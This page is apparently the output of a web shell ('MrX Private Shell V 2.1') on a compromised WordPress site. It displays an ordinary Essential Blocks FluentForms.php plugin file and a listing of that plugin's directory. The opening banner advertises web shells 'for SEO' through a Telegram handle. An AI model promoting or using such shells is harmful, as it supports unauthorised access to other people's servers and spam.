__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace EssentialBlocks\Blocks;
use EssentialBlocks\Core\Block;
use EssentialBlocks\Utils\Helper;
use FluentForm\App\Helpers\Helper as FluentFormHelper;
class FluentForms extends Block
{
protected $version;
protected $attributes = [
'blockId' => [
'type' => 'string'
],
'formId' => [
'type' => 'string'
]
];
protected $frontend_styles = [
'essential-blocks-fluentform-public-default-frontend',
'essential-blocks-fluent-form-styles'
];
protected $editor_styles = 'essential-blocks-fluentform-public-default';
public function __construct()
{
$this->version = defined( 'FLUENTFORM_VERSION' ) ? FLUENTFORM_VERSION : ESSENTIAL_BLOCKS_VERSION;
}
/**
* Unique name of the block.
*
* @return string
*/
public function get_name()
{
return 'fluent-forms';
}
public function can_enable()
{
$active_plugins = Helper::get_active_plugin_list();
if ( in_array( 'fluentform/fluentform.php', $active_plugins ) ) {
return true;
}
return false;
}
/**
* Register all other scripts
*
* @return void
*/
public function register_scripts()
{
$this->assets_manager->register(
'fluent-form-styles',
plugins_url() . '/fluentform/assets/css/fluent-forms-public.css'
);
$this->assets_manager->register(
'fluentform-public-default',
plugins_url() . '/fluentform/assets/css/fluentform-public-default.css',
[
'essential-blocks-fluent-form-styles'
]
);
$this->assets_manager->register(
'fluentform-public-default-frontend',
plugins_url() . '/fluentform/assets/css/fluentform-public-default.css',
[ 'essential-blocks-fluent-form-styles' ]
);
}
/**
* Get form meta using FluentForm Helpers.
*
* @param mixed $id
*
* @return mixed
*
* @suppress PHP0413
*/
public static function get_form_meta( $id )
{
return FluentFormHelper::getFormMeta( $id, 'template_name' );
}
/**
* Get FluentForms List
*
* @return array
*/
public static function form_list()
{
$options = [ ];
if ( defined( 'FLUENTFORM' ) ) {
global $wpdb;
$options[ 0 ][ 'value' ] = '';
$options[ 0 ][ 'label' ] = __( 'Select a form', 'essential-blocks' );
$result = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}fluentform_forms" );
if ( $result ) {
foreach ( $result as $key => $form ) {
$options[ $key + 1 ][ 'value' ] = $form->id;
$options[ $key + 1 ][ 'label' ] = $form->title;
$options[ $key + 1 ][ 'attr' ] = self::get_form_meta( $form->id );
}
}
}
return $options;
}
public function render_callback( $attributes, $content )
{
if ( ! defined( 'FLUENTFORM' ) || is_admin() ) {
return;
}
ob_start();
Helper::views(
'forms/fluent-forms',
wp_parse_args(
$attributes,
[
'classHook' => '',
'formId' => '',
'customCheckboxStyle' => false,
'showLabels' => true,
'showPlaceholder' => true,
'showErrorMessage' => true,
'formAlignment' => 'none',
'block_object' => $this
]
)
);
return ob_get_clean();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Accordion.php | File | 1.03 KB | 0640 |
|
| AccordionItem.php | File | 335 B | 0640 |
|
| AddToCart.php | File | 3.43 KB | 0640 |
|
| AdvancedHeading.php | File | 5.73 KB | 0640 |
|
| AdvancedImage.php | File | 2.77 KB | 0640 |
|
| AdvancedNavigation.php | File | 703 B | 0640 |
|
| AdvancedTabs.php | File | 886 B | 0640 |
|
| AdvancedVideo.php | File | 1021 B | 0640 |
|
| Breadcrumbs.php | File | 11.37 KB | 0640 |
|
| Button.php | File | 3.82 KB | 0640 |
|
| CallToAction.php | File | 365 B | 0640 |
|
| Column.php | File | 220 B | 0640 |
|
| CountDown.php | File | 605 B | 0640 |
|
| DualButton.php | File | 666 B | 0640 |
|
| FeatureList.php | File | 332 B | 0640 |
|
| FlexContainer.php | File | 371 B | 0640 |
|
| FlipBox.php | File | 648 B | 0640 |
|
| FluentForms.php | File | 3.77 KB | 0640 |
|
| Form.php | File | 5.72 KB | 0640 |
|
| FormTextField.php | File | 246 B | 0640 |
|
| GoogleMap.php | File | 2.55 KB | 0640 |
|
| Icon.php | File | 323 B | 0640 |
|
| ImageComparison.php | File | 620 B | 0640 |
|
| ImageGallery.php | File | 2.26 KB | 0640 |
|
| InfoBox.php | File | 761 B | 0640 |
|
| InstagramFeed.php | File | 5.89 KB | 0640 |
|
| InteractivePromo.php | File | 321 B | 0640 |
|
| LottieAnimation.php | File | 608 B | 0640 |
|
| NftGallery.php | File | 649 B | 0640 |
|
| Notice.php | File | 580 B | 0640 |
|
| NumberCounter.php | File | 598 B | 0640 |
|
| Openverse.php | File | 480 B | 0640 |
|
| ParallaxSlider.php | File | 664 B | 0640 |
|
| PopUp.php | File | 625 B | 0640 |
|
| PostBlock.php | File | 1.57 KB | 0640 |
|
| PostCarousel.php | File | 4.62 KB | 0640 |
|
| PostGrid.php | File | 5.79 KB | 0640 |
|
| PostMeta.php | File | 7.24 KB | 0640 |
|
| PricingTable.php | File | 333 B | 0640 |
|
| ProductDetails.php | File | 3.51 KB | 0640 |
|
| ProductImages.php | File | 2.83 KB | 0640 |
|
| ProductPrice.php | File | 4.75 KB | 0640 |
|
| ProductRating.php | File | 2.97 KB | 0640 |
|
| ProgressBar.php | File | 604 B | 0640 |
|
| Row.php | File | 455 B | 0640 |
|
| ShapeDivider.php | File | 602 B | 0640 |
|
| Slider.php | File | 1.09 KB | 0640 |
|
| Social.php | File | 352 B | 0640 |
|
| SocialShare.php | File | 3.89 KB | 0640 |
|
| Tab.php | File | 214 B | 0640 |
|
| TableOfContents.php | File | 17.38 KB | 0640 |
|
| Taxonomy.php | File | 4.92 KB | 0640 |
|
| TeamMember.php | File | 361 B | 0640 |
|
| Testimonial.php | File | 373 B | 0640 |
|
| Text.php | File | 5.17 KB | 0640 |
|
| ToggleContent.php | File | 613 B | 0640 |
|
| TypingText.php | File | 594 B | 0640 |
|
| WPForms.php | File | 2.92 KB | 0640 |
|
| WooProductGrid.php | File | 8.39 KB | 0640 |
|
| Wrapper.php | File | 359 B | 0640 |
|
| price.php | File | 239 B | 0640 |
|